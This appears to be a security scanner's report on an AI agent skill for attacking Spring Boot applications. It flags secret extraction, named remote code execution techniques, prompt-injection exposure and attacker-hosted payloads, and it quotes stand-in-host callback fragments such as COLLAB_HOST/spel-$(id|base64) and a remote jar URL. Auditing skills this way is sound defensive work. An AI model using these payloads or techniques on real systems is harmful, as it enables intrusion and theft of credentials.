hunt-springboot

HIGH W007: Insecure credential handling detected in skill instructions.

• Insecure credential handling detected (high risk: 0.90). The skill explicitly instructs enumerating and extracting secrets (env, heapdump, regexes for API keys/tokens) which encourages exfiltration of verbatim secret values even if the LLM itself is not asked to fabricate keys, so this is high-risk secret handling.

CRITICAL E006: Malicious code pattern detected in skill scripts.

• Malicious code pattern detected (high risk: 1.00). This document is explicit offensive guidance: it details discovery of Spring Boot endpoints, exfiltration of secrets (heapdumps/env), and multiple remote code execution techniques (SpEL, H2 CREATE ALIAS, Spring4Shell, Jolokia) intended for exploitation.

MEDIUM W011: Third-party content exposure detected (indirect prompt injection risk).

• Third-party content exposure detected (low risk: 0.10). The runtime workflow in SKILL.md has the agent actively curl/POST to user-supplied target URLs (e.g., /actuator/env, /actuator/mappings, and /api/user/name), which causes it to ingest outsider-authored free text returned by those endpoints.

MEDIUM W012: Unverifiable external dependency detected (runtime URL that controls agent).

• Potentially malicious external URL detected (high risk: 0.95). The skill instructs targets to fetch and execute attacker-hosted payloads (e.g., jar:http://COLLAB_HOST/test.jar!/ and OOB callbacks like COLLAB_HOST/spel-$(id|base64) / COLLAB_HOST/spel-rce) which are runtime external dependencies that enable remote code execution.